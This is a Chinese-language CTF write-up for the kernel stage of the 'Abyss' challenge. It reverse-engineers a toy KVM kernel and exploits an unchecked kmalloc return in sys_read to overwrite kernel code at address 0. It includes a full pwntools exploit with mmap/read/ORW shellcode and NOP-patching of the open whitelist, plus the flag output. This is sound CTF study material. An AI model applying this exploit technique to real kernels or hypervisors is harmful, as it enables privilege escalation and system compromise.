Abyss - Kernel Space Pwn掉了User Space现在我们来看Kernel Space。根据Abyss I,我们可以执行任意用户空间的shellcode。
在上一个Abyss中,我们将shellcode存储在vars中。之后跳转到vars。这样操作需要每四个字节去存储,输入比较长。其实,我们的输入直接就在s数组中,也是在bss中的,所以直接跳转到s上即可。这样输入可以缩短很多。
参考的WP在这里 。
Reversing 在逆向内核的部分,主要关注的点在于:
内核的地址空间,用户的地址空间,页表等
系统调用表
IDA打开是服务号的,我们结合源码来分析内核的结构和功能。
entry.s
源码:
1 2 3 4 5 6 7 8 9 10 .globl _start, hlt .extern kernel_main .intel_syntax noprefix _start: mov rdx, [rsp] /* argc */ lea rcx, [rsp + 8] /* argv */ call kernel_main hlt: hlt jmp hlt
把参数取出,调用kernel_main作为真正的main函数。之后就一直hlt。
kernel_main.c
先初始化了页表(在mm中),然后初始化了内存分配器,根据源码这里得到KERNEL_BASE_OFFSET
=0x8000000000。之后注册了系统调用,最后切换了用户。
init_pagetable 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 void init_pagetable () { uint64_t * pml4; asm ("mov %[pml4], cr3" : [pml4]"=r" (pml4)); uint64_t * pdp = (uint64_t *) ((uint64_t ) pml4 + 0x3000 ); pml4[1 ] = PDE64_PRESENT | PDE64_RW | (uint64_t ) pdp; uint64_t * pd = (uint64_t *) ((uint64_t ) pdp + 0x1000 ); pdp[0 ] = PDE64_PRESENT | PDE64_RW | (uint64_t ) pd; for (uint64_t i = 0 ; i < 0x10 ; i++) pd[i] = PDE64_PRESENT | PDE64_RW | PDE64_PS | (i * KERNEL_PAGING_SIZE); }
从注释来看这部分的功能是做一个0x8000000000 ~ 0x8002000000到0 ~ 0x2000000的地址映射,页表就是干这个事儿的。首先获取cr3寄存器的值,赋值给pml4。
cr3寄存器是页目录基址寄存器,保存页目录表的物理地址。
pml4的含义为Page Mape Level 4。
pdp赋值为pml4+0x3000的地址。
pdp的含义是Page Directory Pointer table,页目录指针表,用于保存页目录的地址
在pml4的第一项的位置放了一个pdp,之后设置pd(页目录)地址=pdp+0x1000。pdp[0]保存了pd,之后在pd中保存了16项,即在页表中保存了16个页面的地址,这些页面都有PDE64_PS标志位,说明是2M的页面,而不是4K的页面。因此总共的空间大小为 $$ 2 \times 1024 \times 1024 \times \text{0x10} = \text{0x2000000} $$
这全部的空间包括内核空间和用户空间。如何分配这两部分的空间还没有信息。其实关于内核的位置在hypervisor中可以看到。
我们放到之后再说,现在知道内核是在0x0~0x200000即可。
init_allocator 1 2 3 4 5 6 7 void init_allocator (void *addr, uint64_t len) { if (len == 0 || (len & 0xfff ) != 0 ) panic("kmalloc.c#init_allocator: invalid length" ); arena.top = addr; arena.top_size = len; memset (&arena.sorted_bin, 0 , sizeof (arena.sorted_bin)); }
设置内存分配的。
调用时init_allocator((const char *)(addr | 0x8000000000i64), len);
。所以arena.top就是0x8000000000。现在应该可以得出结论,内存映射:0x8000000000~0x8002000000到0x0~0x2000000。
同样的我们可以看一下physical函数:
通过异或去掉了高位的0x80 0000 0000。
register_syscall
用wrmsr
写模式定义寄存器。用法就是把信息存入(EDX, ECX),然后调用wrmsr,即可把信息存入ecx指定的MSR中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #define MSR_STAR 0xc0000081 #define MSR_LSTAR 0xc0000082 #define MSR_CSTAR 0xc0000083 #define MSR_SYSCALL_MASK 0xc0000084 int register_syscall () { asm ( "xor rax, rax;" "mov rdx, 0x00200008;" "mov ecx, %[msr_star];" "wrmsr;" "mov eax, %[fmask];" "xor rdx, rdx;" "mov ecx, %[msr_fmask];" "wrmsr;" "lea rax, [rip + syscall_entry];" "mov rdx, %[base] >> 32;" "mov ecx, %[msr_syscall];" "wrmsr;" :: [msr_star]"i" (MSR_STAR), [fmask]"i" (0x3f7fd5 ), [msr_fmask]"i" (MSR_SYSCALL_MASK), [base]"i" (KERNEL_BASE_OFFSET), [msr_syscall]"i" (MSR_LSTAR) : "rax" , "rdx" , "rcx" ); return 0 ; }
这部分注册syscall,如声明syscall的入口在哪里找等等。具体syscall有哪些应该不在这里。
switch_user 1 2 3 4 5 6 7 8 9 10 11 12 13 void switch_user (uint64_t argc, char *argv[]) { int total_len = (argv[argc - 1 ] + strlen (argv[argc - 1 ]) + 1 ) - (char *) argv; char *s = kmalloc(total_len, MALLOC_PAGE_ALIGN); uint64_t sp = physical(s); add_trans_user((void *) sp, (void *) sp, PROT_RW); for (int i = 0 ; i < argc; i++) argv[i] = (char *) (argv[i] - (char *) argv + sp); memcpy (s, argv, total_len); sys_execve(argv[0 ], (char **) sp, (char **) (sp + argc * sizeof (char *))); }
从内核切换到用户,执行user.elf。
Where are the syscalls?
从左边来看sys_execve附近应该都是syscall的实现了。后来发现不是,这块儿是hyper call的。。。
Try to recover syscall table 一系列的恢复符号的操作。没逆向基础啥都看不出来的我求不喷。
首先找到的是syscall_entry,这个比较好找,因为是大量的push+call+大量的pop操作,源码也是内联汇编写的。
中间调用的就是syscall_handler,功能应该就是根据rax选择执行的函数。
之所以没有switch case语句就是和这部分有关,这里没有做判断,而是通过rax算出偏移找函数指针的方式来调用。函数的地址=syscall table的地址+系统调用号*8,正好一个地址8字节。这样就找到了syscall table。
这样就和源码对上了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 static const void * syscall_table[MAX_SYS_NR + 1 ] = {#define ENTRY(f) [SYS_##f]=sys_##f ENTRY(read), ENTRY(write), ENTRY(open), ENTRY(close), ENTRY(fstat), ENTRY(mmap), ENTRY(mprotect), ENTRY(munmap), ENTRY(brk), ENTRY(writev), ENTRY(access), ENTRY(exit ), ENTRY(arch_prctl), ENTRY(fadvise64), ENTRY(exit_group), ENTRY(openat), #undef ENTRY }; ... case 0 : sys = "read" ; break ; case 1 : sys = "write" ; break ; case 2 : sys = "open" ; break ; case 3 : sys = "close" ; break ; case 5 : sys = "fstat" ; break ; case 9 : sys = "mmap" ; break ; case 10 : sys = "mprotect" ; break ; case 11 : sys = "munmap" ; break ; case 12 : sys = "brk" ; break ; case 20 : sys = "writev" ; break ; case 21 : sys = "access" ; break ; case 59 : sys = "execve" ; break ; case 60 : sys = "exit" ; break ; case 63 : sys = "[not implemented] uname" ; break ; case 158 : sys = "arch_prctl" ; break ; case 221 : sys = "fadvise64" ; break ; case 231 : sys = "exit_group" ; break ; case 257 : sys = "openat" ; break ; default : sys = "unsupported" ;
这样syscall table就搞定了。
sys_open
在这里设置了open的path白名单,user空间Pwn的时候不能getshell原因就在这里。同样的我们也不能去读其他的flag文件,因为strcmp结果不为0。
继续看的时候有点烦躁,因为其他的syscall看起来猜不出来,也不知道系统调用号怎么看。用xref也没有找到。系统调用号的话应该有个switch case的跳转呀,并没有找到。
跟着源码把hyper系列的函数恢复了,跟着hyper确定了write和read。
sys_read 1 2 3 4 5 6 7 8 9 int64_t sys_read(int fildes, void *buf, uint64_t nbyte) { if (fildes < 0 ) return -EBADF; if (!access_ok(VERIFY_WRITE, buf, nbyte)) return -EFAULT; void *dst = kmalloc(nbyte, MALLOC_NO_ALIGN); int64_t ret = hp_read(fildes, physical(dst), nbyte); if (ret >= 0 ) memcpy (buf, dst, ret); kfree(dst); return ret; }
从源码来看,首先通过kmalloc分配了要read的大小的内存,之后调用hyper_read,从文件描述符对应的文件中读取nbytes长度到kmalloc的内存中,如果没有问题再通过memcpy拷贝到用户空间的buf中,然后释放kmalloc的空间。
看到这里有没有什么想法?
Vuln 在sys_read函数中,可以发现没有对kmalloc的返回值进行校验,这在内核中是很危险的。我们来看一下kmalloc函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 void *kmalloc (uint64_t len, int align) { if (len >= (1u ll << 32 )) return 0 ; uint64_t nb = len + offsetof(struct chunk, next); if (nb & 0x7f ) nb = (nb & -0x80 ) + 0x80 ; void *victim = int_kmalloc(nb, align); if (victim == 0 ) return 0 ; if (align != MALLOC_NO_ALIGN && ((uint64_t ) victim & (align - 1 )) ) panic("kmalloc.c#kmalloc: alignment request failed" ); return victim; }
如果kmalloc失败,如传入的大小过大,kmalloc就会返回0,0地址在内核是有意义的,因为我们的内核的地址空间包括着0地址。
在sys_read中,会直接将文件描述符中的内容拷贝到kmalloc返回的地址中。如果kmalloc返回了0,那么这些内容就会直接写入0地址,相当于修改了内核的0地址处的代码。如果我们能够把shellcode写入内核代码,就可以在内核中执行任意shellcode。
用gdb attach到用hypervisor,可以看到内核的空间:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x155552f3b000 0x155554f3b000 rw-p 2000000 0 /dev/zero (deleted) <= 映射的是0地址,内核+用户空间,大小0x2000000 0x155554f3b000 0x155555122000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so 0x155555122000 0x155555322000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x155555322000 0x155555326000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x155555326000 0x155555328000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so 0x155555328000 0x15555532c000 rw-p 4000 0 0x15555532c000 0x155555353000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x155555535000 0x155555537000 rw-p 2000 0 0x15555554c000 0x15555554f000 rw-p 3000 0 anon_inode:kvm-vcpu:0 0x15555554f000 0x155555552000 r--p 3000 0 [vvar] 0x155555552000 0x155555553000 r-xp 1000 0 [vdso] 0x155555553000 0x155555554000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so 0x155555554000 0x155555555000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so 0x155555555000 0x155555556000 rw-p 1000 0 0x555555554000 0x555555558000 r-xp 4000 0 /home/wgn/Desktop/release/hypervisor.elf 0x555555757000 0x555555758000 r--p 1000 3000 /home/wgn/Desktop/release/hypervisor.elf 0x555555758000 0x555555759000 rw-p 1000 4000 /home/wgn/Desktop/release/hypervisor.elf 0x555555759000 0x55555577a000 rw-p 21000 0 [heap] 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall] pwndbg> x/20gx 0x155552f3b000 0x155552f3b000: 0x244c8d4824148b48 0xebf4000000dde808 <= 内核的代码 ... pwndbg> x/20i 0x155552f3b000 0x155552f3b000: mov rdx,QWORD PTR [rsp] <= 确实是内核的代码 0x155552f3b004: lea rcx,[rsp+0x8] 0x155552f3b009: call 0x155552f3b0eb 0x155552f3b00e: hlt 0x155552f3b00f: jmp 0x155552f3b00e 0x155552f3b011: xor rax,rax ...
🤔️这种情况怎么调试呵..看了几个wp都没有说咋调试
Exploit 现在的目标比较明确了,我们首先想办法让kmalloc返回0,然后写入内核空间的shellcode。
Make kmalloc return 0 分析一下kmalloc什么时候返回0。
1 2 3 4 5 6 7 8 9 10 11 12 13 void *kmalloc (uint64_t len, int align) { if (len >= (1u ll << 32 )) return 0 ; uint64_t nb = len + offsetof(struct chunk, next); if (nb & 0x7f ) nb = (nb & -0x80 ) + 0x80 ; void *victim = int_kmalloc(nb, align); if (victim == 0 ) return 0 ; if (align != MALLOC_NO_ALIGN && ((uint64_t ) victim & (align - 1 )) ) panic("kmalloc.c#kmalloc: alignment request failed" ); return victim; }
如果长度超过0x100000000就会返回0。这是第一种情况。
之后调用int_kmalloc来分配。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static void *int_kmalloc (uint64_t nb, int align) { if (align == MALLOC_NO_ALIGN) { void *ret = fetch_sorted_bin(nb); if (!ret) ret = malloc_top(nb); return ret; } if (align != MALLOC_PAGE_ALIGN) panic("kmalloc.c#kmalloc: invalid alignment" ); uint64_t cur = (uint64_t ) arena.top & (align - 1 ); uint64_t consume = (((align - offsetof(struct chunk, next)) - cur) & (align - 1 )); void *gap = 0 ; if (consume == 0 ) ; else { gap = malloc_top(consume); if (gap == 0 ) return 0 ; } void *ret = malloc_top(nb); kfree(gap); return ret; }
如果没有通过fetch_sorted_bin找到合适的空闲块,就调用malloc_top分配空间。
1 2 3 4 5 6 7 8 static void *malloc_top (uint64_t nb) { if (arena.top_size < nb) return 0 ; arena.top_size -= nb; struct chunk * c = (struct chunk *) arena .top ; c->size = nb; arena.top += nb; return chunk2mem(c); }
如果malloc_top发现此时top_size不够用,也会返回0。这是第二种情况。
第一种情况不能用,因为sys_read调用了access_ok做检查。
1 2 3 int64_t sys_read(int fildes, void *buf, uint64_t nbyte) { if (fildes < 0 ) return -EBADF; if (!access_ok(VERIFY_WRITE, buf, nbyte)) return -EFAULT;
因为我们没有0x100000000这么大的空间,所以绕过不了access_ok,也就是说通过分配大内存的方法是不可行的。只能用第二种方法。
现在的方法是,传入一个大于arena.top_size的值,让malloc_top返回0。
Main idea
先通过mmap分配0x1000000,现在剩余的空间小于0x1000000。
调用sys_read(0, buf, 0x1000000)
,这样kmalloc返回0
在hypervisor中调用read(0, $vm->mem+0, 0x1000000)
,我们可以覆盖0x1000000的空间,而内核只有0x200000,所以整个内核都可以被我们覆盖。
可以覆盖内核的代码之后,可以nop掉sys_read中的白名单检查的部分。
通过ORW的shellcode来读取flag2内容。
Step 1: mmap mmap在VM中的系统调用号是9。和正常的linux系统调用号符合。
add = 0
,让系统选地址,我们不关心具体地址在哪里。
len = 0x1000000
,让剩余的空间小,kmalloc才能返回0
1 2 3 4 5 6 7 8 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000
prot设置可读可写可执行,所以是7,没这么全的权限应该也可以。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #ifdef __USE_MISC # define MAP_TYPE 0x0f #endif #define MAP_FIXED 0x10 #ifdef __USE_MISC # define MAP_FILE 0 # ifdef __MAP_ANONYMOUS # define MAP_ANONYMOUS __MAP_ANONYMOUS # else # define MAP_ANONYMOUS 0x20 # endif # define MAP_ANON MAP_ANONYMOUS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体 MAP_FIXED :使用指定的映射起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。 MAP_SHARED :对映射区域的写入数据会复制回文件内, 而且允许其他映射该文件的进程共享。 MAP_PRIVATE :建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。 MAP_DENYWRITE :这个标志被忽略。 MAP_EXECUTABLE :同上 MAP_NORESERVE :不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。 MAP_LOCKED :锁定映射区的页面,从而防止页面被交换出内存。 MAP_GROWSDOWN :用于堆栈,告诉内核VM系统,映射区可以向下扩展。 MAP_ANONYMOUS :匿名映射,映射区不与任何文件关联。 MAP_ANON :MAP_ANONYMOUS的别称,不再被使用。 MAP_FILE :兼容标志,被忽略。 MAP_32BIT :将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。 MAP_POPULATE :为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。 MAP_NONBLOCK :仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。
flags = 16
?这里有点迷惑。mmap应该一定要设置MAP_SHARED或者MAP_PRIVATE的。似乎用MAP_ANONYMOUS更好一些。
后记:WP中flags=16是可以攻击成功的。不过直觉来看0x21才是比较正常的值。
fd = -1
并没有需要映射的文件,用-1即可。
off = 0
从哪里开始映射。通常都是0。
这里要想看shellcode的执行效果有点困难了,因为想要shellcode正常执行,需要用hypervisor起环境。但是只能看到0x2000000的总的空间,怎么去看内核和用户程序的执行呢?
太难了
完成mmap的shellcode:
1 2 3 4 5 6 7 8 9 10 11 sc = asm(''' /* mmap(0, 0x1000000, 7, 0x21, -1, 0); */ mov rdi, 0 mov rsi, 0x1000000 mov rdx, 7 mov r10, 0x21 mov r8, -1 mov r9, 0 mov rax, 9 syscall ''' )
Step2: write to kernel 接下来调用read,此时应该就可以从0地址开始写入了。为了方便调试,在shellcode后面加入了一个循环,这样容易断下来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 sc = asm(''' /* mmap(0, 0x1000000, 7, 0x20, -1, 0); */ mov rdi, 0 mov rsi, 0x1000000 mov rdx, 7 mov r10, 0x21 mov r8, -1 mov r9, 0 mov rax, 9 syscall ''' )sc += asm(shellcraft.read(0 , 'rax' , 0x1000000 )) sc += asm(''' loop: jmp loop ''' )print len(sc)run_user_shellcode(sc) sleep(1 ) p.sendline('tttttttt' )
可以看到内核的内容被改写:
1 2 3 4 5 6 7 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x155552f3b000 0x155554f3b000 rw-p 2000000 0 /dev/zero (deleted) ... pwndbg> x/20gx 0x155552f3b000 0x155552f3b000: 0x7474747474747474 0xebf4000000dde80a 0x155552f3b010: 0x08c2c748c03148fd 0xc0000081b9002000
如果不确定mmap的返回值,可以push rax,然后shellcode里写write输出出来看一下。
Step3: orw 能够写内核之后,我们直接把open的白名单判断的部分nop掉。
从0x9a4开始的位置是判断,0xa19开始是正常的打开文件的部分。把这部分nop掉即可。
1 2 3 kernel = open('./kernel.bin' , 'rb' ).read() pl = kernel[:0x9a4 ]+(0xa19 -0x9a4 )*asm('nop' ) p.send(pl)
攻击之后发现失败了。
1 2 3 4 5 [*] Switching to interactive mode [DEBUG] Received 0x12 bytes: 'KVM_EXIT_SHUTDOWN\n' KVM_EXIT_SHUTDOWN [*] Got EOF while reading in interactive
回显KVM_EXIT_SHUTDOWN应该是出了问题。
后来发现,从0到0x9a4这一部分并不全是代码,也有一些数据。问题出在syscall_entry这里的栈指针没有维护好。
首先来看syscall_entry的实现:
在进行系统调用时,首先将当前的用户态的rsp保存到cs:user_stack(偏移0x155),然后将内核的栈地址从cs:kernel_stack(偏移0x14D)放入rsp寄存器。之后push好几个寄存器的值,调用syscall_handler。syscall_handler的功能就是根据rax找到函数地址jmp过去。完成之后把内核上保存的寄存器恢复,然后恢复rsp,从内核中返回。
syscall_entry到0地址的距离还是挺近的。上面就是两个栈地址。
我们在覆盖的过程中,把这两个栈地址给写成0了(因为kernel.bin里面就是0)。这就使得syscall的时候栈地址被写成了0。注意,这块的地址应该是映射过去的0x8000000000~0x8002000000的地址。
解决的方法如下,我们在攻击前先把用户栈地址泄露出来,这很简单push rsp然后write就可以了。内核的栈地址我们写0x8002000000以下的地址即可,保证可读可写。
Full Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context.arch = 'amd64' context.log_level='debug' y = process("./hypervisor.elf kernel.bin ld.so.2 ./user.elf" .split(" " )) kernel = open( './kernel.bin' ).read() s = '31a-\\a:2107732+a;,' + '\x90' * 70 s += asm( ''' mov rdi, 0 mov rsi, 0x1000000 mov rdx, 7 mov r10, 16 mov r8, -1 mov r9, 0 mov rax, 8 inc rax syscall mov r10, rax /*save this address*/ push rsp ''' + shellcraft.write( 1 , 'rsp' , 8 ) + shellcraft.read( 0 , 'r10' , 0x1000000 ) + shellcraft.pushstr( 'flag2\x00' ) + shellcraft.open( 'rsp' , 0 , 0 ) + shellcraft.read( 'rax' , 'rsp' , 0x60 ) + shellcraft.write( 1 , 'rsp' , 0x60 ) ) y.recv() y.sendline(s) user_stack = u64( y.recv(8 ) ) success( 'User stack -> %s' % hex( user_stack ) ) kernel_mod = kernel[:0x14d ] + p64( 0x8002000000 ) + p64( user_stack + 0x100 ) kernel_mod += kernel[0x15d :0x9a4 ] + '\x90' * 0x75 sleep(1 ) y.send( kernel_mod ) y.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [DEBUG] Sent 0x1 bytes: '\n' * 0x1 [*] Process './hypervisor.elf' stopped with exit code 1 (pid 19394) [*] Got EOF while sending in interactive 00000000 68 69 74 63 6f 6e 7b 2d 2d 2d 66 6c 61 67 32 2d │hitc│on{-│--fl│ag2-│ 00000010 77 69 6c 6c 2d 62 65 2d 68 65 72 65 2d 2d 2d 7d │will│-be-│here│---}│ 00000020 0a aa 7b ff ff 7f 00 00 1c 00 00 00 00 00 00 00 │··{·│····│····│····│ 00000030 56 ac 7b ff ff 7f 00 00 00 00 00 00 00 00 00 00 │V·{·│····│····│····│ 00000040 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 │····│····│····│····│ 00000050 ff fb eb bf 00 00 00 00 06 00 00 00 00 00 00 00 │····│····│····│····│ 00000060 4b 56 4d 5f 45 58 49 54 5f 53 48 55 54 44 4f 57 │KVM_│EXIT│_SHU│TDOW│ 00000070 4e 0a │N·│ 00000072 hitcon{---flag2-will-be-here---} \xaa{\xff\xff\x7f\x00\x1c\x00\x00\x00V\xac{\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\xff���\x00\x06\x00\x00\x00KVM_EXIT_SHUTDOWN
攻击的核心在于向内核的0地址写。这有点像早期的linux kernel pwn。
可供参考的kernel.i64 。
除了像上面覆盖到open的方法之外,也可以参考这里 ,因为hypervisor处理完read之后,
1 2 3 4 5 6 7 8 9 10 seg000:0000000000000E72 hypercall proc near ; CODE XREF: sub_966+7↑j seg000:0000000000000E72 ; hyper_stat+33↑p ... seg000:0000000000000E72 mov dx, di seg000:0000000000000E75 mov eax, esi seg000:0000000000000E77 out dx, eax seg000:0000000000000E78 in eax, dx seg000:0000000000000E79 mov edi, eax seg000:0000000000000E7B mov eax, edi seg000:0000000000000E7D retn seg000:0000000000000E7D hypercall endp
执行到in/out这个位置,直接在这里写orw的shellcode也可以。
u1s1,现在的地址转换已经让我有点迷糊了…上面的参考链接中给出了Abyss III的攻击思路。感觉需要把页表部分的知识补习一下,还有就是Hypervisor的知识。
一年一遍《深入理解计算机系统》🤯